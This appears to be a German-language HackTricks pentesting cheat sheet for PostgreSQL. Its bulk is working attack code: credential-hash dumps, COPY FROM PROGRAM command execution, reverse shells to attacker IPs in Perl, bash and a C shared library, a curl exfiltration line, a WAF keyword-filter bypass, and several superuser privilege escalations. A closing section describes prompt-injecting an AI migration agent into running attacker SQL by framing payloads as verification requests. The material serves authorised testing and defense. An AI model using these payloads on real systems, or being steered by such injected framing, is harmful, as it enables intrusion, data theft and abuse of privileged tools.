5432,5433 - Pentesting Postgresql
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Basic Information
PostgreSQL wird als objektrelationales Datenbanksystem beschrieben, das Open Source ist. Dieses System nutzt nicht nur die SQL-Sprache, sondern erweitert sie auch um zusätzliche Funktionen. Seine Möglichkeiten erlauben es, eine breite Palette von Datentypen und Operationen zu verarbeiten, wodurch es eine vielseitige Wahl für Entwickler und Organisationen ist.
Standardport: 5432, und falls dieser Port bereits verwendet wird, scheint postgresql den nächsten freien Port (wahrscheinlich 5433) zu verwenden.
PORT STATE SERVICE
5432/tcp open pgsql
Verbindung & grundlegende Enum
psql -U <myuser> # Open psql console with user
psql -h <host> -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection
psql -h localhost -d <database_name> -U <User> #Password will be prompted
\list # List databases
\c <database> # use the database
\d # List tables
\du+ # Get users roles
# Get current user
SELECT user;
# Get current database
SELECT current_catalog;
# List schemas
SELECT schema_name,schema_owner FROM information_schema.schemata;
\dn+
#List databases
SELECT datname FROM pg_database;
#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;
# Get languages
SELECT lanname,lanacl FROM pg_language;
# Show installed extensions
SHOW rds.extensions;
SELECT * FROM pg_extension;
# Get history of commands executed
\s
Warning
Wenn du
\listausführst und eine Datenbank namensrdsadminfindest, weißt du, dass du dich in einer AWS postgresql database befindest.
Für weitere Informationen über how to abuse a PostgreSQL database siehe:
Automatic Enumeration
msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
Brute force
Port scanning
Laut this research wirft dblink, wenn ein Verbindungsversuch fehlschlägt, eine sqlclient_unable_to_establish_sqlconnection-Ausnahme, die eine Erklärung des Fehlers enthält. Beispiele für diese Details sind unten aufgeführt.
SELECT * FROM dblink_connect('host=1.2.3.4
port=5678
user=name
password=secret
dbname=abc
connect_timeout=10');
- Host ist nicht erreichbar
DETAIL: could not connect to server: No route to host Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
- Port ist geschlossen
DETAIL: could not connect to server: Connection refused Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
- Port ist offen
DETAIL: server closed the connection unexpectedly This probably means
the server terminated abnormally before or while processing the request
oder
DETAIL: FATAL: password authentication failed for user "name"
- Port ist offen oder gefiltert
DETAIL: could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
In PL/pgSQL functions ist es derzeit nicht möglich, Ausnahmedetails zu erhalten. Wenn du jedoch direkten Zugriff auf den PostgreSQL server hast, kannst du die benötigten Informationen abrufen. Falls das Extrahieren von Benutzernamen und Passwörtern aus den Systemtabellen nicht machbar ist, kannst du die im vorherigen Abschnitt besprochene wordlist attack-Methode in Betracht ziehen, da diese möglicherweise Erfolg bringt.
Auflistung der Privilegien
Rollen
| Rollentypen | |
|---|---|
| rolsuper | Rolle hat Superuser-Privilegien |
| rolinherit | Rolle erbt automatisch Privilegien von Rollen, deren Mitglied sie ist |
| rolcreaterole | Rolle kann weitere Rollen erstellen |
| rolcreatedb | Rolle kann Datenbanken erstellen |
| rolcanlogin | Rolle kann sich einloggen. Das heißt, diese Rolle kann als anfänglicher Session-Authorization-Identifier verwendet werden |
| rolreplication | Rolle ist eine Replikationsrolle. Eine Replikationsrolle kann Replikationsverbindungen initiieren und Replikationsslots erstellen und löschen. |
| rolconnlimit | Für Rollen, die sich einloggen können, legt dies die maximal zulässige Anzahl gleichzeitiger Verbindungen dieser Rolle fest. -1 bedeutet keine Begrenzung. |
| rolpassword | Nicht das Passwort (wird immer als ******** angezeigt) |
| rolvaliduntil | Ablaufzeit des Passworts (nur bei Passwortauthentifizierung verwendet); null bei keiner Ablaufzeit |
| rolbypassrls | Rolle umgeht jede row-level security policy, siehe Section 5.8 für mehr Informationen. |
| rolconfig | Rollenspezifische Standardwerte für Laufzeit-Konfigurationsvariablen |
| oid | ID der Rolle |
Interessante Gruppen
- Wenn du Mitglied von
pg_execute_server_programbist, kannst du Programme ausführen - Wenn du Mitglied von
pg_read_server_filesbist, kannst du Dateien lesen - Wenn du Mitglied von
pg_write_server_filesbist, kannst du Dateien schreiben
Tip
Beachte, dass in Postgres ein user, eine group und eine role dasselbe sind. Es hängt nur davon ab, wie du sie verwendest und ob du ihr Login erlaubst.
# Get users roles
\du
#Get users roles & groups
# r.rolpassword
# r.rolconfig,
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolbypassrls,
r.rolconnlimit,
r.rolvaliduntil,
r.oid,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;
# Check if current user is superiser
## If response is "on" then true, if "off" then false
SELECT current_setting('is_superuser');
# Try to grant access to groups
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
## You will probably get this error:
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.
# Create new role (user) as member of a role (group)
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
## Common error
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.
Tabellen
# Get owners of tables
select schemaname,tablename,tableowner from pg_tables;
## Get tables where user is owner
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';
# Get your permissions over tables
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;
#Check users privileges over a table (pg_shadow on this example)
## If nothing, you don't have any permission
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';
Funktionen
# Interesting functions are inside pg_catalog
\df * #Get all
\df *pg_ls* #Get by substring
\df+ pg_read_binary_file #Check who has access
# Get all functions of a schema
\df pg_catalog.*
# Get all functions of a schema (pg_catalog in this case)
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
FROM information_schema.routines
LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
WHERE routines.specific_schema='pg_catalog'
ORDER BY routines.routine_name, parameters.ordinal_position;
# Another aparent option
SELECT * FROM pg_proc;
Dateisystem-Aktionen
Verzeichnisse und Dateien lesen
Aus diesem commit können Mitglieder der definierten DEFAULT_ROLE_READ_SERVER_FILES-Gruppe (genannt pg_read_server_files) und super users die COPY-Methode auf beliebigen Pfaden verwenden (siehe convert_and_check_filename in genfile.c):
# Read file
CREATE TABLE demo(t text);
COPY demo from '/etc/passwd';
SELECT * FROM demo;
Warning
Denk daran, dass wenn du kein super user bist, aber die CREATEROLE-Berechtigung hast, du dich Mitglied dieser Gruppe machen kannst:
GRANT pg_read_server_files TO username;
Es gibt andere postgres functions, die verwendet werden können, um Dateien zu lesen oder ein Verzeichnis aufzulisten. Nur superusers und users with explicit permissions können sie verwenden:
# Before executing these function go to the postgres DB (not in the template1)
\c postgres
## If you don't do this, you might get "permission denied" error even if you have permission
select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd', 0, 1000000);
select * from pg_read_binary_file('/etc/passwd');
# Check who has permissions
\df+ pg_ls_dir
\df+ pg_read_file
\df+ pg_read_binary_file
# Try to grant permissions
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
# By default you can only access files in the datadirectory
SHOW data_directory;
# But if you are a member of the group pg_read_server_files
# You can access any file, anywhere
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation
Sie finden weitere Funktionen unter https://www.postgresql.org/docs/current/functions-admin.html
Einfaches Schreiben von Dateien
Nur Superuser und Mitglieder von pg_write_server_files können copy verwenden, um Dateien zu schreiben.
copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';
Warning
Denk daran, dass wenn du kein Superuser bist, aber die
CREATEROLE-Berechtigung hast, du dich Mitglied dieser Gruppe machen kannst:GRANT pg_write_server_files TO username;
Beachte, dass COPY keine Newline-Zeichen verarbeiten kann, daher musst du, selbst wenn du eine base64-Payload verwendest, ymusst du einen Einzeiler senden.
Eine sehr wichtige Einschränkung dieser Technik ist, dass copy nicht verwendet werden kann, um Binärdateien zu schreiben, da es einige Binärwerte verändert.
Binary files upload
Es gibt jedoch andere Techniken, um große Binärdateien hochzuladen:
Big Binary Files Upload (PostgreSQL)
Aktualisieren von PostgreSQL-Tabellendaten durch Schreiben in lokale Dateien
Wenn du die notwendigen Berechtigungen zum Lesen und Schreiben von PostgreSQL-Serverdateien hast, kannst du jede Tabelle auf dem Server aktualisieren, indem du den zugehörigen Filenode im the PostgreSQL data directory überschreibst. Mehr zu dieser Technik here.
Erforderliche Schritte:
- Ermittele das PostgreSQL-Datenverzeichnis
SELECT setting FROM pg_settings WHERE name = 'data_directory';
Hinweis: Wenn du den aktuellen Pfad des Datenverzeichnisses nicht über die Einstellungen abrufen kannst, kannst du die Hauptversion von PostgreSQL über die Abfrage SELECT version() ermitteln und versuchen, den Pfad zu bruteforcen. Häufige Datenverzeichnis-Pfade bei Unix-Installationen von PostgreSQL sind /var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/. Ein häufiger Clustername ist main.
- Ermittle einen relativen Pfad zum Filenode, das mit der Zieltabelle verknüpft ist
SELECT pg_relation_filepath('{TABLE_NAME}')
Diese Abfrage sollte etwas wie base/3/1337 zurückgeben. Der vollständige Pfad auf der Festplatte ist $DATA_DIRECTORY/base/3/1337, also z. B. /var/lib/postgresql/13/main/base/3/1337.
- Lade den Filenode über die
lo_*-Funktionen herunter
SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)
- Ermittle den Datentyp, der mit der Zieltabelle verbunden ist
SELECT
STRING_AGG(
CONCAT_WS(
',',
attname,
typname,
attlen,
attalign
),
';'
)
FROM pg_attribute
JOIN pg_type
ON pg_attribute.atttypid = pg_type.oid
JOIN pg_class
ON pg_attribute.attrelid = pg_class.oid
WHERE pg_class.relname = '{TABLE_NAME}';
- Verwende den PostgreSQL Filenode Editor to edit the filenode; setze alle
rol*booleschen Flags auf 1 für volle Berechtigungen.
python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}

- Lade den bearbeiteten Filenode über die
lo_*-Funktionen wieder hoch und überschreibe die Originaldatei auf der Festplatte
SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')
- (Optional) Leere den In-Memory-Tabellen-Cache, indem du eine rechenintensive SQL-Abfrage ausführst
SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
- Du solltest jetzt aktualisierte Tabellenwerte in PostgreSQL sehen.
Du kannst auch Superadmin werden, indem du die Tabelle pg_authid bearbeitest. Siehe the following section.
RCE
RCE to program
Seit version 9.3, können nur Superuser und Mitglieder der Gruppe pg_execute_server_program copy für RCE verwenden (Beispiel mit exfiltration:
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
Beispiel zum Ausführen:
#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;
#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
Warning
Denk daran, dass du, wenn du kein Superuser bist, aber die
CREATEROLE-Berechtigung hast, dich zum Mitglied dieser Gruppe machen kannst:GRANT pg_execute_server_program TO username;
Or use the multi/postgres/postgres_copy_from_program_cmd_exec module from metasploit.
Mehr Informationen zu dieser Schwachstelle hier. Obwohl dies als CVE-2019-9193 gemeldet wurde, erklärte PostgreSQL, dass dies ein Feature ist und nicht behoben wird.
Bypass keyword filters/WAF to reach COPY PROGRAM
In SQLi-Kontexten mit stacked queries kann ein WAF das literal COPY entfernen oder blockieren. Du kannst die Anweisung dynamisch zusammenbauen und innerhalb eines PL/pgSQL DO-Blocks ausführen. Zum Beispiel baue das führende C mit CHR(67), um naive Filter zu umgehen, und EXECUTE die zusammengesetzte Anweisung:
DO $$
DECLARE cmd text;
BEGIN
cmd := CHR(67) || 'OPY (SELECT '''') TO PROGRAM ''bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"''';
EXECUTE cmd;
END $$;
This pattern avoids static keyword filtering and still achieves OS command execution via COPY ... PROGRAM. It is especially useful when the application echoes SQL errors and allows stacked queries.
RCE with PostgreSQL Languages
RCE with PostgreSQL extensions
Once you have learned from the previous post how to upload binary files you could try obtain RCE uploading a postgresql extension and loading it.
RCE with PostgreSQL Extensions
PostgreSQL configuration file RCE
Tip
Die folgenden RCE-Vektoren sind besonders nützlich in eingeschränkten SQLi-Kontexten, da alle Schritte durch verschachtelte SELECT-Anweisungen durchgeführt werden können
Die Konfigurationsdatei von PostgreSQL ist vom postgres user beschreibbar, da dieser die Datenbank betreibt. Als Superuser kann man Dateien im Dateisystem schreiben und somit diese Datei überschreiben.
.png)
RCE with ssl_passphrase_command
More information about this technique here.
Die Konfigurationsdatei hat einige interessante Optionen, die zu RCE führen können:
ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'Pfad zum privaten Schlüssel der Datenbankssl_passphrase_command = ''Wenn die private Datei durch ein Passwort geschützt (verschlüsselt) ist, wird postgresql den in diesem Attribut angegebenen Befehl ausführen.ssl_passphrase_command_supports_reload = offWenn dieses Attribut auf on steht, wird der Befehl, der ausgeführt wird, falls der Schlüssel durch ein Passwort geschützt ist, ausgeführt, wennpg_reload_conf()aufgerufen wird.
Ein Angreifer müsste dann:
- Dump private key vom Server
- Encrypt downloaded private key:
rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key- Overwrite
- Dump the current postgresql configuration
- Overwrite the configuration with the mentioned attributes configuration:
ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'ssl_passphrase_command_supports_reload = on- Führe
pg_reload_conf()aus
Während meiner Tests fiel mir auf, dass das nur funktioniert, wenn die private key file Berechtigungen 640 hat, sie root gehört und zur Gruppe ssl-cert oder postgres gehört (sodass der postgres-User sie lesen kann), und sie sich in /var/lib/postgresql/12/main befindet.
RCE with archive_command
More information about this config and about WAL here.
Ein weiteres in der Konfigurationsdatei ausnutzbares Attribut ist archive_command.
Damit das funktioniert, muss die Einstellung archive_mode auf 'on' oder 'always' stehen. Ist das der Fall, können wir den Befehl in archive_command überschreiben und dessen Ausführung über WAL (write-ahead logging) Operationen erzwingen.
Die allgemeinen Schritte sind:
- Prüfe, ob archive mode aktiviert ist:
SELECT current_setting('archive_mode') - Überschreibe
archive_commandmit dem Payload. Zum Beispiel eine reverse shell:archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl' - Reload the config:
SELECT pg_reload_conf() - Erzwinge die WAL-Operation, die den archive command aufruft:
SELECT pg_switch_wal()oderSELECT pg_switch_xlog()für einige Postgres-Versionen
Editing postgresql.conf via Large Objects (SQLi-friendly)
Wenn mehrzeilige Writes nötig sind (z. B. um mehrere GUCs zu setzen), verwende PostgreSQL Large Objects, um die Konfiguration vollständig per SQL auszulesen und zu überschreiben. Dieser Ansatz ist ideal in SQLi-Kontexten, in denen COPY keine Newlines oder binär-sicheren Writes verarbeiten kann.
Example (adjust the major version and path if needed, e.g. version 15 on Debian):
-- 1) Import the current configuration and note the returned OID (example OID: 114575)
SELECT lo_import('/etc/postgresql/15/main/postgresql.conf');
-- 2) Read it back as text to verify
SELECT encode(lo_get(114575), 'escape');
-- 3) Prepare a minimal config snippet locally that forces execution via WAL
-- and base64-encode its contents, for example:
-- archive_mode = 'always'\n
-- archive_command = 'bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"'\n
-- archive_timeout = 1\n
-- Then write the new contents into a new Large Object and export it over the original file
SELECT lo_from_bytea(223, decode('<BASE64_POSTGRESQL_CONF>', 'base64'));
SELECT lo_export(223, '/etc/postgresql/15/main/postgresql.conf');
-- 4) Reload the configuration and optionally trigger a WAL switch
SELECT pg_reload_conf();
-- Optional explicit trigger if needed
SELECT pg_switch_wal(); -- or pg_switch_xlog() on older versions
Dies ermöglicht zuverlässige Ausführung von OS-Befehlen über archive_command als Benutzer postgres, vorausgesetzt archive_mode ist aktiviert. In der Praxis kann das Setzen eines niedrigen archive_timeout eine häufige Ausführung bewirken, ohne einen expliziten WAL-Switch zu benötigen.
RCE with preload libraries
More information about this technique here.
Dieser Angriffsvektor nutzt die folgenden Konfigurationsvariablen:
session_preload_libraries– Bibliotheken, die vom PostgreSQL-Server beim Client-Connect geladen werden.dynamic_library_path– Liste von Verzeichnissen, in denen der PostgreSQL-Server nach den Bibliotheken sucht.
Wir können den Wert von dynamic_library_path auf ein Verzeichnis setzen, das vom postgres-Benutzer, der die Datenbank ausführt, beschreibbar ist, z. B. das Verzeichnis /tmp/, und dort ein bösartiges .so-Objekt hochladen. Anschließend erzwingen wir, dass der PostgreSQL-Server unsere neu hochgeladene Bibliothek lädt, indem wir sie in der Variable session_preload_libraries aufnehmen.
Die Angriffsschritte sind:
- Lade die originale
postgresql.confherunter - Füge das Verzeichnis
/tmp/in den Wert vondynamic_library_pathein, z. B.dynamic_library_path = '/tmp:$libdir' - Füge den Namen der bösartigen Bibliothek in den Wert von
session_preload_librariesein, z. B.session_preload_libraries = 'payload.so' - Prüfe die Hauptversion von PostgreSQL über die
SELECT version()-Abfrage - Kompiliere den bösartigen Bibliothekscode mit dem passenden PostgreSQL-Dev-Paket. Beispielcode:
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "postgres.h"
#include "fmgr.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
void _init() {
/*
code taken from https://www.revshells.com/
*/
int port = REVSHELL_PORT;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"/bin/bash", NULL};
execve("/bin/bash", argv, NULL);
}
Kompilieren des Codes:
gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c
- Lade die bösartige
postgresql.conf, erstellt in Schritt 2–3, hoch und überschreibe die originale - Lade die
payload.soaus Schritt 5 in das Verzeichnis/tmphoch - Lade die Serverkonfiguration neu, indem du den Server neu startest oder die Abfrage
SELECT pg_reload_conf()ausführst - Bei der nächsten DB-Verbindung erhältst du die Reverse-Shell-Verbindung.
Postgres Privesc
CREATEROLE Privesc
Grant
Laut den docs: Rollen, die das CREATEROLE-Privileg haben, können die Zugehörigkeit zu jeder Rolle gewähren oder entziehen, die kein Superuser ist.
Wenn du also die CREATEROLE-Berechtigung hast, könntest du dir Zugriff auf andere Rollen (die keine Superuser sind) gewähren, die dir die Möglichkeit geben, Dateien zu lesen & zu schreiben und Befehle auszuführen:
# Access to execute commands
GRANT pg_execute_server_program TO username;
# Access to read files
GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;
Passwort ändern
Benutzer mit dieser Rolle können außerdem die Passwörter anderer non-superusers ändern:
#Change password
ALTER USER user_name WITH PASSWORD 'new_password';
Privesc to SUPERUSER
Es ist ziemlich üblich, dass lokale Benutzer sich in PostgreSQL anmelden können, ohne ein Passwort anzugeben. Daher können Sie, sobald Sie Berechtigungen zum Ausführen von Code erlangt haben, diese Berechtigungen missbrauchen, um sich die SUPERUSER-Rolle zu verschaffen:
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
Tip
Dies ist normalerweise möglich aufgrund der folgenden Zeilen in der
pg_hba.conf-Datei:# "local" is for Unix domain socket connections only local all all trust # IPv4 local connections: host all all 127.0.0.1/32 trust # IPv6 local connections: host all all ::1/128 trust
ALTER TABLE privesc
In this writeup wird erklärt, wie es möglich war, in Postgres GCP privesc zu erlangen, indem das ALTER TABLE-Privileg ausgenutzt wurde, das dem Benutzer gewährt wurde.
Wenn man versucht, einen anderen Benutzer zum Besitzer einer Tabelle zu machen, sollte ein Fehler auftreten, der das verhindert — anscheinend hat GCP diese Option dem nicht-superuser postgres-Benutzer gegeben:
.png)
Kombiniert man diese Idee mit der Tatsache, dass beim Ausführen der INSERT/UPDATE/ANALYZE-Befehle auf einer Tabelle mit einer Index-Funktion die Funktion als Teil des Befehls mit den Berechtigungen des Tabellenbesitzers aufgerufen wird, dann ist es möglich, einen Index mit einer Funktion zu erstellen und dem super user Besitzerrechte an dieser Tabelle zu geben, und anschließend ANALYZE auf der Tabelle mit der bösartigen Funktion auszuführen — diese kann dann Befehle ausführen, da sie die Privilegien des Besitzers nutzt.
GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
save_sec_context | SECURITY_RESTRICTED_OPERATION);
Exploitation
- Beginnen Sie damit, eine neue Tabelle zu erstellen.
- Fügen Sie einige irrelevante Inhalte in die Tabelle ein, um Daten für die Index-Funktion bereitzustellen.
- Entwickeln Sie eine bösartige Index-Funktion, die ein code execution payload enthält und so die Ausführung nicht autorisierter Befehle ermöglicht.
- Führen Sie ALTER aus, um den Besitzer der Tabelle auf “cloudsqladmin” zu setzen, was die Superuser-Rolle von GCP ist, die ausschließlich von Cloud SQL zur Verwaltung und Wartung der Datenbank verwendet wird.
- Führen Sie eine ANALYZE-Operation auf der Tabelle durch. Diese Aktion zwingt die PostgreSQL-Engine dazu, in den Benutzerkontext des Tabellenbesitzers “cloudsqladmin” zu wechseln. Folglich wird die bösartige Index-Funktion mit den Rechten von “cloudsqladmin” aufgerufen, wodurch die Ausführung des zuvor nicht autorisierten shell command ermöglicht wird.
In PostgreSQL sieht dieser Ablauf ungefähr so aus:
CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);
INSERT INTO temp_table VALUES ('dummy content');
/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';
CREATE INDEX index_malicious ON public.temp_table (suid_function(data));
ALTER TABLE temp_table OWNER TO cloudsqladmin;
/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';
ANALYZE public.temp_table;
Dann enthält die Tabelle shell_commands_results die Ausgabe des ausgeführten Codes:
uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)
Lokaler Login
Einige falsch konfigurierte postgresql-Instanzen erlauben möglicherweise die Anmeldung beliebiger lokaler Benutzer. Es ist möglich, sich von 127.0.0.1 aus lokal anzumelden, indem die dblink-Funktion verwendet wird:
\du * # Get Users
\l # Get databases
SELECT * FROM dblink('host=127.0.0.1
port=5432
user=someuser
password=supersecret
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);
Warning
Beachten Sie, dass für die vorherige Abfrage die Funktion
dblinkexistieren muss. Falls sie nicht existiert, können Sie versuchen, sie mitCREATE EXTENSION dblink;Wenn Sie das Passwort eines Benutzers mit mehr Rechten haben, dieser Benutzer sich aber nicht von einer externen IP anmelden darf, können Sie die folgende Funktion verwenden, um Abfragen als dieser Benutzer auszuführen:
SELECT * FROM dblink('host=127.0.0.1
user=someuser
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);
Man kann prüfen, ob diese Funktion existiert mit:
SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
Benutzerdefinierte Funktion mit SECURITY DEFINER
In this writeup, pentesters konnten innerhalb einer von IBM bereitgestellten postgres-Instanz privesc durchführen, weil sie diese Funktion mit dem SECURITY DEFINER flag gefunden haben:
CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
LANGUAGE 'plpgsql'
VOLATILE SECURITY DEFINER
PARALLEL UNSAFE
COST 100
AS $BODY$
DECLARE
persist_dblink_extension boolean;
BEGIN
persist_dblink_extension := create_dblink_extension();
PERFORM dblink_connect(format('dbname=%s', db_name));
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
PERFORM dblink_disconnect();
…
Wie explained in the docs wird eine Funktion mit SECURITY DEFINER mit den Privilegien des user that owns it ausgeführt. Daher kann, wenn die Funktion vulnerable to SQL Injection ist oder privileged actions with params controlled by the attacker ausführt, sie missbraucht werden, um escalate privileges inside postgres.
CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
Und dann Befehle ausführen:
.png)
Pass Burteforce with PL/pgSQL
PL/pgSQL ist eine voll ausgestattete Programmiersprache, die im Vergleich zu SQL eine größere prozedurale Kontrolle bietet. Sie ermöglicht die Verwendung von Schleifen und anderen Kontrollstrukturen, um die Programmlogik zu erweitern. Zusätzlich können SQL-Anweisungen und triggers Funktionen aufrufen, die mit der PL/pgSQL language erstellt wurden. Diese Integration erlaubt einen umfassenderen und vielseitigeren Ansatz für Datenbankprogrammierung und -automatisierung.
Du kannst diese Sprache missbrauchen, um PostgreSQL dazu zu bringen, die Benutzeranmeldeinformationen zu brute-force.
Privesc durch Überschreiben interner PostgreSQL-Tabellen
Tip
Der folgende privesc-Vektor ist besonders nützlich in eingeschränkten SQLi-Kontexten, da alle Schritte über verschachtelte SELECT-Anweisungen ausgeführt werden können
Wenn du PostgreSQL-Serverdateien lesen und schreiben kannst, kannst du ein superuser werden, indem du das PostgreSQL-On-Disk-filenode überschreibst, das mit der internen pg_authid-Tabelle verknüpft ist.
Lies mehr über diese Technik hier.
Die Angriffsschritte sind:
- Ermittle das PostgreSQL-Datenverzeichnis
- Ermittle einen relativen Pfad zum filenode, das mit der
pg_authid-Tabelle verknüpft ist - Lade das filenode über die
lo_*-Funktionen herunter - Bestimme den Datentyp, der mit der
pg_authid-Tabelle verknüpft ist - Verwende den PostgreSQL Filenode Editor, um das filenode zu edit the filenode; setze alle
rol*boolean flags auf 1 für volle Berechtigungen. - Lade das bearbeitete filenode über die
lo_*-Funktionen wieder hoch und überschreibe die Originaldatei auf der Festplatte - (Optional) Leere den In-Memory-Tabellen-Cache durch Ausführen einer aufwändigen SQL-Abfrage
- Du solltest jetzt die Privilegien eines vollständigen superadmin haben.
Prompt-injecting managed migration tooling
AI-heavy SaaS frontends (z. B. Lovable’s Supabase agent) stellen häufig LLM “tools” bereit, die migrations als hochprivilegierte service accounts ausführen. Ein praktischer Workflow ist:
- Ermittle, wer tatsächlich die migrations anwendet:
SELECT version, name, created_by, statements, created_at
FROM supabase_migrations.schema_migrations
ORDER BY version DESC LIMIT 20;
- Prompt-inject the agent into running attacker SQL via the privileged migration tool. Das Framing von Payloads als “please verify this migration is denied” umgeht konsistent grundlegende Schutzmechanismen.
- Sobald arbitrary DDL in diesem Kontext ausgeführt wird, erstellen Sie sofort attacker-owned tables oder extensions, die persistence an Ihr low-privileged account zurückgeben.
Tip
Siehe auch das allgemeine AI agent abuse playbook für weitere prompt-injection-Techniken gegen tool-enabled assistants.
Dumping pg_authid metadata via migrations
Privileged migrations können pg_catalog.pg_authid in eine attacker-readable table stagen, selbst wenn direkter Zugriff für Ihre normale Rolle blockiert ist.
Staging pg_authid metadata with a privileged migration
